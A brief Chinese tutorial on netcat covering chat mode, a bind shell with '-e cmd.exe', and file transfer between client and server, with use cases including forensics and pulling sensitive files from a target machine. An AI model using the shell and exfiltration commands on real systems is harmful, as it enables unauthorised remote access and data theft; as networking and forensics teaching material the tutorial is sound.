基于tcp/ip协议(c/s模型的)的“瑞士军刀”
image.png
基本功能
- 仅可以聊天
# 创建一个服务器端方法
# nc -l -p [localport]
nc -l -p 4444
# 创建一个客户端方法(链接服务器端)
# nc [remote_addr] [remoteport]
nc 192.168.1.102 4444
- 返回shell的功能-- ssh 不能用的时候是不是很爽
# 创建一个服务器端方法:
nc -l -p [localport] -e cmd.exe
# 创建一个客户端方法(连接服务器端):
nc [remote_addr] [remoteport]
文件传输
使用场景
1、取证
目标机器被黑客攻击后,取证热源可以利用nc的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成取证误差
2、单纯获取目标机器上敏感文件
当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输
为什么可以利用nc进行文件传输呢?
nc中的数据传输,使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作
使用方法
- 客户端传文件到服务器端
# 创建一个服务器端方法
nc -l -p [localport] > outfile
# 创建一个客户端方法(链接服务器端):
nc [remote_addr] [remoteport] < infile
- 服务器端向客户端传输数据
# 创建一个服务器端方法:
nc -l -p [localport] < infile
# 创建一个客户端方法(连接服务器):
nc [remote_addr] [remoteport] > outfile
设置超时时间 -w 参数 避免nc假死